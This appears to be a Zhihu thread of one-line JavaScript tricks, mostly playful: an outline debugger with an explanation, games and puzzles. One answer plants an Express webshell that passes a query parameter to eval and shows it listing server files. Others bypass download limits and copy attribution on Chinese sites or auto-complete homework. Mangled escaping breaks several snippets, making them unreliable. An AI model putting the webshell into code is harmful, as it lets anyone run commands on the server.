一行 JS (以分號結束)能實現什麼喪心病狂的功能?

兄弟問題:

一行 Python 能實現什麼喪心病狂的功能? - 編程

一句 Java 能實現什麼喪心病狂的功能? - 編程

說 JS 全是一行的,再見。


出一個谷歌工程師的作品,一行代碼可以看到所有頁面元素。而當中包含的知識點非常多。

108 byte version:

[].forEach.call($$("*"),function(a){a.style.outline="1px solid #"+(~~(Math.random()*(1&<&<24))).toString(16)})

131 byte version:

[].forEach.call(document.querySelectorAll("*"),function(a){a.style.outline="1px solid #"+(~~(Math.random()*(1&<&<24))).toString(16)})

來源:https://gist.github.com/addyosmani/fd3999ea7fce242756b1

中文分析

現在我們有了一個所有元素的節點列表(NodeList),現在我們想遍歷它們,並給他們加上有顏色的邊框。我們先看看能從這行代碼里發現什麼:

[].forEach.call( $$("*"), function( element ) { /* And the modification code here */ });

NodeList看起來像一個Array(數組),你可以使用中括弧來訪問他們的節點,而且你還可以通過length屬性知道它有多少元素。但是它並沒有實現Array的所有介面,因此使用 $$("*").forEach 會返回錯誤,在JavaScript的世界裡,有一堆看起來像Array但其實不是的對象。如function中的arguments對象。因此在他們身上通過call和apply來應用數組的方法是非常有用的。我之前寫過一篇文章來解析它們的用法,下面是一個例子

function say(name) {
console.log( this + " " + name );
}

say.call( "hola", "Mike" );
// 列印輸出 "hola Mike"

之前的一行代碼使用 [].forEach.call 代替 Array.prototype.forEach.call 減少了代碼的編寫量 ( 另外一個很有意思的地方 );如果$$("*")返回是個數組的話,它與$$("*").forEach是等價的。

如果你看看評論,還有人使用for(i=0;A=$$("*");)讓代碼變得更短,但是它在全局對象中注入了變數。

你可以帶上var聲明,如

for(var i=0,B=document.querySelectorAll("*");A=B[i++];){ /* your code here */ }

其中i和B將只聲明在console的上下文中。

改變元素的顏色

讓元素有一個漂亮的邊框,這行代碼使用了CSS的outline屬性。有一點你可能不知道,在CSS渲染的盒子模型(Box Model)中,outline並不會改變元素及其布局的位置。因此這比使用border屬性要好得多,所以這一部分其實並不難理解

a.style.outline="1px solid #" + color

怎樣定義顏色值其實是比較有意思的

~~(Math.random()*(1&<&<24))).toString(16)

我不是特別懂位運算,因此我最喜歡這一段。

我們想構造的其實是一個16進位的顏色值,像白色FFFFFF,藍色0000FF等等。

首先我們學到了可以使用數字類型的toString方法進行十進位到16進位的轉換。

其實你可以用它進行任意進位的轉換

(30).toString(); // "30"
(30).toString(10); // "30"
(30).toString(16); // "1e" 16進位
(30).toString(2); // "11110" 二進位
(30).toString(36); // "u" 36 是最大允許的進位

因此16進位中的ffffff其實是 parseInt("ffffff", 16) == 16777215,16777215是2^24 - 1的值

因此左位移操作乖以一個隨機數 Math.random()*(1&<&<24) 可以得到一個0 到 16777216之間的值

但是還不夠,Math.random返回的是一個浮點數字,我們只需要整數部,這裡使用了「~」操作符(按位取反操作)。

這行代碼並不關心正負值。因此通過兩次取返就可以得到純整數部,我們還可以將~~視為parseInt的簡寫:

var a = 12.34, // ~~a = 12
b = -1231.8754, // ~~b = -1231
c = 3213.000001 // ~~c = 3213
;

~~a == parseInt(a, 10); // true
~~b == parseInt(b, 10); // true
~~c == parseInt(c, 10); // true

如果你仔細看評論你會知道使用 按位或 "|"操作符也可以得到相同的結果。

~~a == 0|a == parseInt(a, 10)
~~b == 0|b == parseInt(b, 10)
~~c == 0|c == parseInt(c, 10)

我們最終得到了一個 0 到 16777216之間的隨機數,然後使用toString(16)轉換成16進位,它就是這樣工作的。

原文地址:Learning much javascript from one line of code

翻譯地址:從一行CSS調試代碼中學到的JavaScript知識


代碼在 Chrome:Version 53.0.2766.0 canary (64-bit) 測試運行,其他瀏覽器可能需要Babel編譯後運行。

顯示布局:

[...document.querySelectorAll("*")].forEach( element =&> element.style.outline = `2px #${((Math.random()*0xFFFFFF)&>&>0).toString(16)} solid` )

出錯了自動找解決方案:

window.onerror = e =&> window.location = `http://stackoverflow.com/search?q=${e.message}`;

99乘法表:

document.write([1,2,3,4,5,6,7,8,9].map( e =&> Array.from({length:e}).map( (_e,i) =&> `${e} * ${i + 1} = ${e*(i+1)}`).join("nbsp;nbsp;nbsp;") ).join("&
"));

讓知乎複製的時候不加版權信息:

__z_z__.vu = () =&> ({Id: ()=&>""})

解除百度網盤對下載大文件的限制:

require("disk-system:widget/plugin/download/util/downloadCommonUtil.js").isPlatformWindows = ()=&>false;

啟用網易雲音樂WEB端下載功能(標準音質),需要關閉瀏覽器彈窗攔截,不然沒法彈下載窗口[確實只有一個分號結尾 -_-]:

window.addEventListener("hashchange", ((fn) =&> fn() function () { setTimeout(fn, 1000) })(() =&>
document.getElementById("g_iframe").contentWindow.NEJ.P("nm.x").NW = ({id, type}) =&>
NEJ.P("nej.j").cG("/api/song/enhance/player/url", {
type: "json",
query: {
ids: JSON.stringify([id]),
br: 128000
},
onerror: () =&> alert("Error"),
onload: (obj) =&> obj.code === 200 window.open(obj.data[0].url)
})
));

還可以搞個強行一行貪吃蛇:

&

&

&

&

&Title&

&&

&

&

&

window.onkeydown=((ctx,snake,food,direction,move,draw)=&>((loop,newFood,timer)=&>Array.from({length:400}).forEach((_e,i)=&>draw(ctx,i,"black"))||(timer=setInterval(()=&>loop(newFood)||clearInterval(timer)||console.log(timer)||alert("Game Over"),200))(e=&>direction=snake[1]-snake[0]==(move=[-1,-20,1,20][(e||event).keyCode-37]||direction)?direction:move))((newFood)=&>snake.unshift(move=snake[0]+direction)snake.indexOf(move,1)&>0||move&<0||move&>399||direction==1move%20==0||direction==-1move%20==19?false:(draw(ctx,move,"green")||move==food?newFood()draw(ctx,food,"red"):draw(ctx,snake.pop(),"Black"))!==[],()=&>Array.from({length:8000}).some(e=&>snake.indexOf(food=~~(Math.random()*400))===-1)))(document.getElementById("canvas").getContext("2d"),[42,41],43,1,null,(ctx,node,color)=&>(ctx.fillStyle=color)ctx.fillRect(node%20*20+1,~~(node/20)*20+1,18,18));

&

&

&

再來個不強行一行的簡易(陋)模板引擎:

&
&
&
&
&Title&
&

&
&

2、現代瀏覽器會在地址欄過濾掉「javascript」,需要打開開發者工具執行:F12 &> console/控制台 ,回車鍵執行;

3、如果頁面有多個密碼輸入框,則修改代碼中的下標「[0]」 為其他數值(上圖修改為「[2]」)。在使用了iframe的頁面中,注意選擇運行環境(上圖紅色箭頭指向處)。


alert(「hello world!」) ;

這一行代碼能強行阻止代碼往下執行,使得遊覽器不得不發出錯誤警告,而且兼容所有主流遊覽器和非主流遊覽器,完美兼容IE6。


一言不合,埋個webshell?

app.get("/233", function (req, res) {eval(req.query.cov)})

http://127.0.0.1:2333/233?cov=var%20fs%20=%20require(%27fs%27);fs.readdir(__dirname,%20function%20(err,%20files)%20{%20res.send(files)%20})

[".DS_Store",".git",".gitignore","app.js","build","node_modules","package.json"]


javascript作為一門函數式語言,只需要lambda表達式就圖靈完備了。也就是說,一個完整的程序只需要一個表達式就足夠了…


256 位元組js實現一個3D地面飛行視角。複製粘貼到地址欄回車即可。

data:text/html,&&

出處: http://www.p01.org/256b_mars_canvas/


while(1)alert(1)


alert("hello. world!")

這段代碼讓多少人喪心病狂的入了這個行業。干起了喪心病狂的事。


一個半成品,不過也來湊個數吧

GitHub - rapidhere/fpjs: a horrible code converter

直接壓縮到一行多沒意思,不使用大括弧,只使用一個分號,還有,大家看到ES6的arrow function,就沒想過要濫用嗎?

下面是壓縮到只有一行的8皇后實例,可以在chrome console下運行

((__Y,__OC)=&>((initArray,nQueen,solve)=&>(solve=(n)=&>((colAva,croAva,ncrAva,put)=&>((colAva=[]),(croAva=[]),(ncrAva=[]),initArray(colAva,n,true),initArray(croAva,((n)+(n))-(1),true),initArray(ncrAva,((n)+(n))-(1),true),(put=(row)=&>((col,ret)=&>(((__T,__A)=&>(__T?((1)):((__A()))))((row)===(n),(()=&>((ret=0),((__WA,__WN)=&>(col=0,__Y((__W)=&>(((__T,__A)=&>(__T?((colAva[col]=false,croAva[(row)+(col)]=false,ncrAva[(((row)-(col))+(n))-(1)]=false,ret+=put((row)+(1)),colAva[col]=true,croAva[(row)+(col)]=true,ncrAva[(((row)-(col))+(n))-(1)]=true,__A())):((__A()))))(((colAva[col])(croAva[(row)+(col)]))(ncrAva[(((row)-(col))+(n))-(1)]),(()=&>(__WN(__W,__WA))))))))((()=&>(ret)),(__W,__WA)=&>(col+=1,((col)&<(n))?__W():__WA())))))))()),put(0)))(),initArray=(arr,n,val)=&>((i)=&>(undefined,((__WA,__WN)=&>(i=0,__Y((__W)=&>(arr[i]=val,__WN(__W,__WA)))))((()=&>undefined),(__W,__WA)=&>(i+=1,((i)&<(n))?__W():__WA()))))(),undefined,((__WA,__WN)=&>(nQueen=1,__Y((__W)=&>(console.log("Queen ",nQueen,solve(nQueen)),__WN(__W,__WA)))))((()=&>undefined),(__W,__WA)=&>(nQueen+=1,((nQueen)&<=(13))?__W():__WA()))))())((F)=&>((G)=&>G(G))((self)=&>F(()=&>self(self))),(o, ro)=&>(ro=new Object(),o.forEach((i)=&>(ro[i[0]]=i[1])),ro));

比較遺憾的是,這個轉換器是用Python寫的,對於ES5標準的支持也不完全,只是當時學完編譯,受GitHub - csvoss/onelinerizer: Convert any Python file into a single line of code.啟發寫的一個玩具。


怕是要被題主再見了咧。

推薦個網站:JSFuck - Write any JavaScript with 6 Characters: []()!+

啥東西進去(不管幾句話),出來都是一行。


try{

something

}catch(e){

window.location.href = "http://stackoverflow.com/search?q=[js]" + e.message;

}

----------UPDATE------

把這行代碼放在瀏覽器console裡面,能自動完成作業並提交(川大考試)

$("&